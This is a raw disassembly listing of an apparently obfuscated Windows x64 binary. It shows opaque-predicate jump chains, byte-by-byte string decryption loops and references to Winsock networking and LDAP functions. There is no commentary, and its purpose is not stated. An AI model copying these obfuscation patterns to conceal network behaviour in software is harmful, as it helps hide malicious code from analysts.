lea rax, [r9 + 7]
cmp r8, rax
je 0x14008ea74
nop
cmp r9, rbx
ja 0x14008ebec
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14008de15
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x41
add r10b, dl
jmp 0x14008de62
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008ea1c
inc rax
cmp r8, rax
je 0x14008e9ee
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008e9c3
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008e98e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008e933
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008e8fd
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008e4d5
nop
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008e4b0
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008e482
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008e457
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008e432
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14008e40d
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008e3d8
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008e3b3
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008e38b
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008e356
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008de70
lea r8, [r9 + 4]
lea r9, [r8 + 5]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008ebc7
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008eba2
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008e05a
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008e03b
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008e01c
lea rcx, [r9 + 0x42]
cmp r8, rcx
jb 0x14008e2f3
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008e293
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008e240
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008e210
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008de70
mov r8, rcx
lea r9, [rcx + 0x64]
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x14008e1d6
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x14008e1ad
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x14008e187
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14008e14e
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x14008e125
lea rcx, [r9 + 0x5a]
cmp r8, rcx
ja 0x14008e0ff
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008e0d0
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14008e09e
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008e078
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008de70
mov r8, rcx
lea r9, [rcx + 0x80]
jmp 0x14008de70
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x21
add r10b, dl
jmp 0x14008de62
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1b
add r10b, dl
jmp 0x14008dde0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x15
add r10b, dl
jmp 0x14008dd75
movabs rdx, 0x9385245fd5722448
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008ea3c
movabs rdx, 0xf655d7c03779ecfe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14008dd62
movabs rdx, 0x59268b209981b5b4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14008dd62
movabs rdx, 0xbbf73e80fb897e6a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008eac2
movabs rdx, 0x1ec7f1e15d914720
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008eaef
movabs rdx, 0x8198a541bf990fd6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dd62
movabs rdx, 0xe46958a221a0d88c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008e953
movabs rdx, 0x473a0c0283a8a142
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008eb28
movabs rdx, 0xaa0abf62e5b069f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xf60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dd62
movabs rcx, 0xa1147fd3dac3dfbf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x39
mov byte [rbp + rbx + 0xf60], r10b
inc rbx
jmp 0x14008dd62
movabs rdx, 0x3e533343ccba875
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x33
add r10b, dl
cmp r9, 0x7a
jb 0x14008e230
movabs rdx, 0x506c43cc787303be
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x64]
jmp 0x14008ea3f
movabs rdx, 0x66b5e6949ed3712b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2d
add r10b, dl
cmp r8, 0x28
jae 0x14008e8a3
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14008e782
movabs rdx, 0x2c9345904cc0dada
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008e260
movabs rdx, 0xc98699f500db39e1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x27
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 2
je 0x14008e8d0
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14008e65f
movabs rdx, 0x3a22a10452129651
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x37
jmp 0x14008e2b3
movabs rcx, 0xaea3db47e0159b36
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
movzx eax, byte [rbp + rbx + 0xf60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dd62
movabs rdx, 0x11748ea8421d63ec
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x74
add r10b, dl
jmp 0x14008eb28
movabs rdx, 0x74454208a4252ca2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
jmp 0x14008e953
movabs rcx, 0xd715f569062cf558
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x68
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dd62
movabs rcx, 0x39e6a8c96834be0e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x62
jmp 0x14008eaef
movabs rdx, 0x9cb75c29ca3c86c4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5c
jmp 0x14008eac2
movabs rcx, 0xff880f8a2c444f7a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x56
dec rbx
inc rbx
jmp 0x14008dd62
movabs rcx, 0x6258c2ea8e4c1830
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x14008dd62
movabs rdx, 0xc529764af053e0e6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
jmp 0x14008ea3c
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14008e501
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7d
jmp 0x14008e313
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008e544
movabs rcx, 0xe4e14917f55c8912
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7e
movzx eax, byte [rbp + rbx + 0xf60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dd62
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008e577
movabs rdx, 0x1f3fe257314cf7a6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008e953
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008e5bd
movabs rdx, 0xbc6f2ef6cf452ef0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dd62
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008e5f0
movabs rdx, 0xf6cdc8360b359d84
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008eac2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008e62c
movabs rdx, 0x93fd14d5a92dd4ce
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14008dd62
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008e316
movabs rdx, 0xce5bae14e51e4362
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008ea3c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008e691
movabs rdx, 0xd751eda3f00acd9b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3d
jmp 0x14008ea3c
inc rax
cmp r8, rax
jne 0x14008e6cb
movabs rcx, 0x74813a438e0304e5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x43
inc r9
dec rbx
inc rbx
jmp 0x14008dd62
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008e6fd
movabs rcx, 0x4c0f202267ebaac3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x55
jmp 0x14008eaef
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008e73f
movabs rcx, 0xe93e6cc205e3e20d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dd62
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008e2b6
movabs rcx, 0xc0cc52a0dfcc87eb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6d
movzx eax, byte [rbp + rbx + 0xf60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dd62
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008e7c9
movabs rdx, 0xc9c2922feab91224
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xf60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dd62
inc rax
cmp r8, rax
jne 0x14008e7fd
movabs rdx, 0x66f1decf88b1496e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 2
add r10b, dl
jmp 0x14008eb28
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008e82f
movabs rdx, 0x4212b6f26a980b8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
jmp 0x14008e953
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008e871
movabs rcx, 0xa150780ec4a1b802
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dd62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008e263
movabs rdx, 0xdbaf114e00922696
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1a
jmp 0x14008eac2
movabs rdx, 0xed9b906c166b3b08
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xf60]
sub r10b, al
sub r10b, 0x38
add r10b, r11b
jmp 0x14008eac2
movabs rdx, 0x8acadd0bb4637252
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xf60]
sub r10b, 0x3e
jmp 0x14008e953
movabs rcx, 0x791a562888683623
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0xb
movzx eax, byte [rbp + rbx + 0xf60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dd62
movabs rdx, 0x3ebbbce94c77c78f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x17
add r10b, dl
movabs rdx, 0x5962835b835f8df7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x3f
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xf60], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14008eb28
movabs rcx, 0xa18c7049ae7f9045
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1d
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dd62
movabs rcx, 0xc9fe8a6ad496ea67
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2f
dec rbx
inc rbx
jmp 0x14008dd62
movabs rcx, 0x2ccf3dcb369eb31d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x35
inc r9
dec rbx
inc rbx
jmp 0x14008dd62
movabs rdx, 0x8f9ff12b98a67bd3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x3b
add r10b, dl
movabs rcx, 0x1f03ea1c476f1f63
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x4b
add r11b, cl
mov byte [rbp + rbx + 0xf60], r11b
inc r9
dec rbx
inc rbx
jmp 0x14008dd62
movabs rcx, 0xb8120b4cbebdd5f5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x4d
inc r9
dec rbx
inc rbx
jmp 0x14008dd62
movabs rdx, 0x7db3720d82cd6761
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x59
add r10b, dl
movabs rdx, 0xbc3336bbe56756ad
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x45
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xf60], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008dd62
mov r11, rdx
movabs rcx, 0x8f63f8f0aec8a39
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x71
movabs rcx, 0x27fa29ab525ba99c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x44
add cl, r11b
mov byte [rbp + rbx + 0xf60], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xf60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dd62
movabs rcx, 0x6bc6f2ef6cf452ef
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x77
movzx eax, byte [rbp + rbx + 0xf60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008dd62
movabs rcx, 0x54c9677688fa5cb9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xf
jmp 0x14008dd60
movabs rcx, 0xb79a1ad6eb02256f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 9
jmp 0x14008dd50
lea rcx, [rbp + 0x162a23c]
jmp 0x14008ec0b
lea rcx, [rbp + 0x9ebde1]
jmp 0x14008ec0b
lea rcx, [rbp + 0xf60]
xor r8d, r8d
xor edx, edx
call fcn.140040820
test al, al
je 0x14009a944
lea rcx, str.General
call fcn.140036770
lea rdx, [0x140227f80]
lea rcx, [rbp + 0x6d8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rdi, rax
mov byte [rbp + 0x718], Ordinal_30
mov byte [rbp + 0x719], 0xe7
mov byte [rbp + 0x71a], 0xf3
mov byte [rbp + 0x71b], 0xf1
mov byte [rbp + 0x71c], 0xe6
mov byte [rbp + 0x71d], 0xf2
mov byte [rbp + 0x71e], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x71f], 1
mov byte [rbp + 0x720], 0xf5
mov byte [rbp + 0x721], 0xe4
mov byte [rbp + 0x722], 0xe7
mov byte [rbp + 0x723], 0xf8
mov byte [rbp + 0x724], 0xee
mov byte [rbp + 0x725], Ordinal_30
mov byte [rbp + 0x726], 0xa4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x727], xmm0
mov dword [rbp + 0x737], eax
movabs rsi, 0x3f5b96de4d682c71
movabs r14, 0xc585436335f78a73
movabs r15, 0x33ee87236d4e5b6f
movabs r12, 0x29468951758a02a5
movzx r10d, byte [rsp + 0x40]
nop
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008f8e1
movzx r11d, byte [rbp + rbx + 0x718]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008f8d5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008ed63
lea rcx, [rbx + r14]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x25
jmp 0x14008ed9c
je 0x14008f84d
inc rax
cmp r8, rax
je 0x14008f7b2
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008f77b
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008f751
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008f6fd
nop dword [rax]
cmp r9, rbx
ja 0x14008f8c9
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14008edd2
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 9
add cl, r11b
jmp 0x14008ee20
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008f6d9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f68b
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008f667
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008f643
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008f60e
movzx ecx, r10b
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008f2b3
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f28a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008f25d
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008f233
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008f20f
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008f1e6
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008f1b1
mov r8, rax
lea r9, [rax + 0x3e8]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008f8a5
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14008f881
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008ef81
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008ef68
lea rcx, [r9 + 9]
cmp r8, rcx
jb 0x14008f15a
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008f100
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008f0b2
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14008ee30
mov r8, rcx
lea r9, [rcx + 0x20]
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x14008f078
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14008f054
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x14008f02b
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x14008eff2
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x14008efce
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14008ef9c
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x14008ee30
lea r8, [r9 + 0x10]
lea r9, [r8 + 4]
jmp 0x14008ee30
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x17
add cl, r11b
jmp 0x14008ee20
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
jmp 0x14008ed25
movabs rdx, 0x1469b254fe83c692
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008ed12
movabs rcx, 0xfe54a4c826a59cc6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x14008f6aa
movabs rdx, 0xe83f973b4ec772fa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008ed12
movabs rdx, 0x5d351074e2d85e14
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f7d3
movabs rcx, 0xd22a89ae76e9492e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x14008f803
movabs rdx, 0x472002e80afa3448
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x718]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008ed12
movabs rcx, 0xe07b2b3191356b23
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0xb
add cl, r11b
cmp r9, 0x40
jb 0x14008f5a0
movabs rcx, 0xb318d98780a129d2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x7c]
jmp 0x14008f71c
movabs rcx, 0x5570a46b2546563d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x55
add cl, r11b
cmp r8, 0x1000
jae 0x14008f5b3
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14008f4c7
movabs rdx, 0x44af95c7494a58d6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
jmp 0x14008f0cc
movabs rcx, 0xca661da4b9574157
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x61
add cl, r11b
lea rax, [r9 + r8]
cmp rax, 2
je 0x14008f5e3
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14008f3f5
movabs rcx, 0x10c10ea3dbfbfd67
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x2f
jmp 0x14008f11a
movabs rcx, 0x37972ad48fd6249a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
movzx eax, byte [rbp + rbx + 0x718]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008ed12
movabs rdx, 0x21821d47b7f7face
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f7d3
movabs rcx, 0xb6d0fbae019d102
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x14008f79a
movabs rcx, 0xf558022e083ba736
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
dec rbx
inc rbx
jmp 0x14008ed12
movabs rcx, 0x6a4d7b679c4c9250
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x14008ed12
movabs rdx, 0xdf42f4a1305d7d6a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f71c
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14008f2d6
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x25
jmp 0x14008f174
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008f318
movabs rcx, 0x67dd0e46da9cb6de
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
movzx eax, byte [rbp + rbx + 0x718]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008ed12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008f34e
movabs rdx, 0x7df21bd3b27ae0aa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f7d3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008f38a
movabs rdx, 0xaa1c36ed62373442
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008ed12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008f3c4
movabs rcx, 0x3526bdb3ce264928
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
inc r9
dec rbx
inc rbx
jmp 0x14008ed12
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008f177
movabs rcx, 0xc031447a3a155e0e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
